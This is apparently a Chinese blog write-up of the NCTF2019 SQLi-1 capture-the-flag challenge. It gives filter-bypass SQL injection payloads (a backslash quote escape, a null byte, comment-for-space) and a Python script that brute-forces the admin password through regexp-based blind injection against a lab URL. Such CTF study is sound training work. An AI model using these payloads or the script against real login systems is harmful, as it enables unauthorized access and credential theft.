[NCTF2019]SQLi-1||SQL注入
1、打开之后首先尝试万能密码登录和部分关键词(or、select、=、or、table、#、-等等)登录,显示被检测到了攻击行为并进行了拦截,结果如下:

2、使用dirmap进行目录扫描,发现robots.txt文件,结果如下:

3、访问robots.txt文件,发现hint.txt文件并进行访问,发现提示信息和过滤的一堆关键字,结果如下:


4、获得提示信息,如果passwd的值等于admin的密码则登录成功,但是admin也被过滤了,这里想到了做的上一个sql注入题:https://www.cnblogs.com/upfine/p/16527723.html,采用的是正则表达式来获取flag的值,因此这里在select等关键字被过滤的情况下,这里也可以使用正则表达式来匹配admin的密码进而来获取flag值,确定获取密码的方式之后就需要确定注入点,来使用正则表达式来逐步获取密码的值,这里想到了对name中的第二个字符进行转义,使后面的' and passwd=成为name的内容,payload:name:\,passwd:||/**/1;%00,观察返回的数据包发现与之前返回的不同,确定注入点存在,结果如下:

5、确定注入点存在位置后就根据分析采用正则表达式进行匹配,payload:name:\,passwd:||/**/passwd/**/regexp/**/"^a";%00,手工结果如下:


6、确定第一位后那就确定第二位,payload:name:\,passwd:||/**/passwd/**/regexp/**/"^yo";%00,结果如下:

7、手工过程就这样一步一步获取密码信息,当然手工看看就行了,实际还得是通过脚本来获取密码信息,代码和结果如下:
脚本代码:
import requests
from urllib import parse
import time
#跑出密码后发现没有大写字母,因此就去掉了大写字母,可手动加上,ABCDEFGHIJKLMNOPQRSTUVWXYZ
strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~'
url = 'http://a58a046b-e948-4bf4-8622-7df7271753ca.node4.buuoj.cn:81'
passwd = ''
i = 1
while i < 80:
for one_char in strings:
data = {
'username':'\\',
'passwd':'||/**/passwd/**/regexp/**/\"^'+passwd+one_char+'\";'+parse.unquote('%00')
}
rs = requests.post(url,data).content.decode('utf-8')
time.sleep(0.01)
if 'welcome' in rs:
passwd = passwd + one_char
print("\r", end="")
print('已匹配到前'+str(i)+'位'+' | '+str(passwd),end='')
i = i + 1
break
if one_char=='~' and 'welcome' not in rs:
print('\n密码共'+str(i-1)+'位,已匹配完成')
i = 80
break
密码值:you_will_never_know7788990,如下:


8、获取到admin的密码后,随便输入一个用户名并使用这个密码进行登录成功获取到flag值,结果如下:

9、注意:
脚本可以适当的修改延时时间,如果使用时报错,那就从新跑一下或修改下延时时间。
payload不要带上了空格,空格也被过滤了。
[NCTF2019]SQLi-1||SQL注入的更多相关文章
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- SQL注入的字符串连接函数
在select数据时,我们往往需要将数据进行连接后进行回显.很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数.在sqli中,常见的字符串连接函数有concat(),group_ ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
- 十大关系数据库SQL注入工具一览
摘要:众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞. BSQL Hacker ...
- SQL注入原理小结
今天,一基友问我一个问题说:为什么SQL注入要加单引号,这个当时我一时也回答不上,怪就怪自己理论太菜,不过回去仔细思考了一下,觉得这个问题也是蛮简单的. 首先大家应该明白的一点就是SQL注入的目的:加 ...
- ModSecurity SQL注入攻击
ModSecurity是 一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecur ...
- 通过 HTTP 头进行 SQL 注入
在漏洞评估和渗透测试中,确定目标应用程序的输入向量是第一步.有时,当做web应用程序测试时,SQL注入漏洞的测试用例通常局限于特殊的输入向量GET和POST变量.那么对于其他的HTTP头部参数呢?难道 ...
- Sql注入中连接字符串常用函数
在select数据时,我们往往需要将数据进行连接后进行回显.很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数.在sqli中,常见的字符串连接函数有concat(),group_ ...
- 深入理解SQL注入绕过WAF与过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
随机推荐
- linux篇-centos7搭建apache服务器(亲测可用)
1安装apache yum install httpd httpd-devel -y 2开启服务器 systemctl start httpd.service 3开机自启 systemctl enab ...
- 114_Power Pivot 销售订单之销售额、成本、利润率相关
博客:www.jiaopengzi.com 焦棚子的文章目录 请点击下载附件 一.背景 双十二回来后遇到一个比较有意思的计算销售额和利润率的需求(见下文说明). 先看下效果. 结果 说明: 1.订单表 ...
- 推荐一款新框架PyScript:在 HTML 嵌入 Python 代码!
一.介绍 网页浏览器是目前世界上最普遍,最可携的计算机环境.几乎所有人都可以在计算机或是手机上使用网页浏览器,以没有基础设施障碍的方式访问程序. 在 PyCon US 2022 上,知名 Python ...
- [漏洞复现] [Vulhub靶机] Struts2-045 Remote Code Execution Vulnerablity(CVE-2017-5638)
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 背景知识 Apache Struts 2是美国Apache软件基金会的一个开源项目,是一套用于创建企业级Java W ...
- Windows环境下启动Redis报错:Could not create server TCP listening socket 127.0.0.1:6379: bind: 操作成功完成。(已解决)
问题描述: 今天在windows环境下启动Redis时启动失败报错: 解决方案: ①运行命令:redis-cli.exe ②退出Redis ③运行命令:redis-server.exe redis.w ...
- CXP 协议中upconnection 与downconnection的说明及其区别
概述 CXP定义了一个DEVICE和HOST之间点对点的连接协议.CXP的一个连接包含了一个MASTER物理连接和若干可选的SLAVE连接,每一个连接都定义了一组逻辑通道用于传输图像数据.实时触发.设 ...
- django框架1
简介 1.前端 与用户打交道的界面 2.web框架 可以将前端和数据库整合到一起 3.数据库 专门用于存储数据 内容概要 纯手撸web框架 基于wsgiref模块 优化措施 动静态网 ...
- 苹果宣布 2022 年 Apple 设计大奖得主
Apple 今日举办了年度 Apple 设计大奖颁奖仪式,表彰 12 款出类拔萃的 app 与游戏佳作.今年的获奖者包括来自全球各地的开发者.他们通过 app 呈现锐意创新.别出心裁的优美设计体验,以 ...
- 001 手把手用Git,Git从入门到上传本地项目到Github,看这篇就够了
安装git 下载Git 下载好后,一路next即可 安装好后,打开Git bash,进行配置 首先配置自己的身份 git config --global user.name "Name&qu ...
- 搭建个人博客,Docsify+Github webhook+JGit解决方案
一开始博客使用的 Halo,发现问题比较多啊,时不时的莫名其妙主题各种报错,有时候还要升级,麻烦的要死,于是就想弄简单点. 这两天抽空反复倒腾了一遍,不小心还把镜像给尼玛删了,发的文章都没了,痛定思痛 ...